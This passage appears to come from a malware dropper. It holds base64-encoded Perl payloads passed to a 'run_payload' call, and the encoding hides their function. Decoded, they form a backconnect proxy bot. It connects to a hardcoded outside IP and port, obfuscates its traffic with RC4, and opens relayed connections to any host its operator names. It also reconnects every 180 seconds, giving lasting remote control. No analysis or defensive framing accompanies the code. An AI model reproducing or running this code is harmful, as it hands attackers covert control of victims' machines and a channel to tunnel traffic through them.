jdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMSk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJIAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJICRjb3VudGVyKys7CgkJCQkgCgkJCQkgaWYgKCRjb3VudGVyID09IDEwICogNjApIHsKCQkJCQkgCgkJCQkJICRjb3VudGVyID0gMDsKCgkJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsKCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkgCgkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIE1TR19OT1NJR05BTCk7CgkJCQkgfQoJCQkJIAoJCQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJlbWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxhc3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAwICYmICRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkgCgkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJCQkJIAoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpID0gcGFjaygnQycsICRlYngpLiJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJCQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEpOwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRyZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJCQkgCgkJCQkJCSAkX3JldDAgPSAwOwoJCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJGVieCkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsKCQkJCQkJIAoJCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgNywgMSkpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4LCAxKSkpOwoJCQkKCQkJCQkJCSAkcG9ydDAgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDgsIDEpKSArIDEsIDEpLnN1YnN0cigkYnVmZmVyMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCwgMSkpICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2lmICh1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDcsIDEpKSA9PSAxKSB7CgkJCQoJCQkJCQkJICRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpKSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSkpLCB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDMsIDEpKSk7CgkJCQoJCQkJCQkJICRwb3J0MCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2UgewoJCQkKCQkJCQkJCSBnb3RvIGNsb3NlXzsKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCQkgZXZhbCB7CgkJCSAKCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCQkJCQkgY29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoJCSAKCQkJCQkJCSB2ZWMobXkgJHdpbiA9ICcnLCBmaWxlbm8oJHNvY2tldGFyclskZWJ4XSksIDEpID0gMTsKCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoJCQkKCQkJCQkJCSBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX1NFVEZMLCBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX0dFVEZMLCAwKSBeIE9fTk9OQkxPQ0spOwoJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCQkJCQkgJF9yZXQwID0gMTsKCQkJIAoJCQkJCQkgfTsKCQkgCgkJCQkJCSBjbG9zZV86CgkJCQkJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMywgMTApOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsKCQkJCQkJCSAKCQkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCSAKCQkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGVieCkuIlx4MDBceDAwIjsKCQkgCgkJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkJIAoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsKCQkJCQkJIAoJCQkJCQkgc2VuZCgkc29ja2V0YXJyWyRlYnhdLCBzdWJzdHIoJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSAKCQkJCQl9CgkJCQkJIAoJCQkJCSAkcmVtYWluaW5nID0gMDsKCQkJCX0KCQkJCQoJCQl9CgkJCSAKCQkJICRyZW1haW5pbmc0ID0gMDsKCQkJIAoJCX0KCQkKCQllbHNlIHsKCQkJCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gMCkgeyAkYnVmZmVyMCA9ICcnOyB9CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSAnJzsKCQkJIAoJCQkgcmVjdigkc29ja2V0YXJyWzBdLCAkZGF0YSwgJGVheCwgMCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSBsZW5ndGgoJGRhdGEpOwoJCQkgCgkJCSAkYnVmZmVyMCAuPSAkZGF0YTsKCQkJIAoJCQkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIpKTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7CgoJCSBpZiAoJHNvY2tldGFycmF5WyRpXSA9PSAxKSB7IGNsb3NlKCRzb2NrZXRhcnJbJGldKTsgfQoJCSAKCSB9CgkgCgkgaWYgKCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgkgCgkgc2xlZXAgMTgwOwp9"

# script_2.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBJTzo6U29ja2V0Owp1c2UgSU86OlNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7CnVzZSBGY250bCBxdyhGX0dFVEZMIEZfU0VURkwgT19OT05CTE9DSyk7CgpteSAkaG9zdCA9ICczNi4yNTUuOTguMTUxJzsKbXkgJHBvcnQgPSA0MDAxOwoKbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsKCmZvciAobXkgJGkgPSAwOyAkaSA8IDUwOyAkaSsrKSB7IHN1YnN0cigkeG9yZGF0YSwgJGksIDEpID0gcGFjaygnQycsIHJhbmQoMjU1KSk7IH0KCnN1YiBSYzRfY3J5cHQgewoJIAoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkbGVuZ3RoID0gc2hpZnQoQF8pOwoJIAoJIG15ICRidWZmMCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN6ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyYzQgPSAiXHgwMCIgeCAyNTY7CgkgCgkgbXkgJHBvY2tlbW9uMCA9IDA7CgkKCSBteSAkcG9ja2Vtb24xID0gMDsKCQoJIG15ICRwb2NrZW1vbjIgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMyA9IDA7CgkKCSBteSAkcG9ja2Vtb240ID0gMDsKCQoJIG15ICRwb2NrZW1vbjUgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNiA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2NrZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkgJHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSBteSAkdCA9IDA7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDw9IDI1NTsgJGkrKykgeyBzdWJzdHIoJHJjNCwgJGksIDEpID0gcGFjaygnQycsICRpKTsgfQoJIAoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpKSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkgJHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYgKCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkpOwoJCSAKCQkgJHQgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHBvY2tlbW9uMiwgMSkpOwoKCQkgJHBvY2tlbW9uMSArPSAkdDsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCSAkcG9ja2Vtb242ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb242KTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24yLCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJCSAkcG9ja2Vtb244ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9uOCk7CgkJIAoJCQkgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjcpOwoKCQkJICRwb2NrZW1vbjggKz0gJHBvY2tlbW9uNzsKCQoJCQkgJHBvY2tlbW9uOCA9ICRwb2NrZW1vbjggJiAyNTU7CgoJCQkgJHBvY2tlbW9uMCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb244LCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjUgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkpOwoKCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsKCQkJIAoJCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjUpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpID0gcGFjaygnQycsICh1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkpIF4gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRyYngsIDEpKSkpOwoJCSAKCQkgJHJzaSsrOwoJCQoJCSAkcmJ4Kys7CgkJCgkJICRyY3gtLTsKCQkKCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgewoJCQkgCgkJCSAkcmJ4ID0gMDsKCQl9CgkJIAoJfSB3aGlsZSgkcmN4ID4gMCk7CgkKfQoKc3ViIGJjY25jdCB7CgoJIG15ICRob3N0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRwb3J0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyZW1haW5pbmcgPSAwOwoJIAoJIG15ICRyZW1haW5pbmc0ID0gMDsKCSAKCSBteSAkZG9tYWluOwoJIAoJIG15ICRwb3J0MDsKCSAKCSBteSBAc29ja2V0YXJyOwoJIAoJIG15IEBzb2NrZXRhcnJheTsKCSAKCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOwoJIAoJIG15ICRidWZmZXJudWxsID0gIlx4MDAiIHggMzsKCSAKCSBteSAkYnVmZmVyMCA9ICcnOwoJIAoJIG15ICRpc0V4aXQgPSAwOwoJIAoJIG15ICRfcmV0MCA9IDA7CgkgCgkgbXkgJGVjeCA9IDA7CgkgCgkgbXkgJGVheCA9IDA7CgkgCgkgbXkgJGRhdGEgPSAnJzsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCSAKCSBteSAkcmVzcG9uY2UgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCSAKCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGluZXRfYXRvbigkJGhvc3QpKTsKCSAKCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9CgkgCgkgc3Vic3RyKCRidWZmZXIsIDAsIDUwKSA9ICR4b3JkYXRhOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1MCwgMikgPSAiXHhGRlx4RkYiOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsKCSAKCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7CgkgCgkgc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSAnJzsKCgkJCQkJIHJlY3YoJHNvY2tldGFyclskaV0sICRkYXRhLCA2NTUzMCwgMCk7CgkJCQkgCgkJCQkJIHVubGVzcyAoJGRhdGEpIHsKCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsKCQkJCQkgCgkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRpXSk7CgkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGkpLiJceDAwXHgwMCI7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgc3Vic3RyKCRyZXNwb25jZSwgMCwgMyksIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCSAKCQkJCQkJICRidWZmZXIgPSBwYWNrKCdDJywgJGkpLnBhY2soJ1MnLCBsZW5ndGgoJGRhdGEpKS4kZGF0YTsKCQkJCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgMywgbGVuZ3RoKCRkYXRhKSk7CgkJCQkgCgkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMSk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJIAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJICRjb3VudGVyKys7CgkJCQkgCgkJCQkgaWYgKCRjb3VudGVyID09IDEwICogNjApIHsKCQkJCQkgCgkJCQkJICRjb3VudGVyID0gMDsKCgkJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsKCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkgCgkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIE1TR19OT1NJR05BTCk7CgkJCQkgfQoJCQkJIAoJCQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJlbWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxhc3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAwICYmICRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkgCgkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJCQkJIAoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpID0gcGFjaygnQycsICRlYngpLiJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJCQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEpOwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRyZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm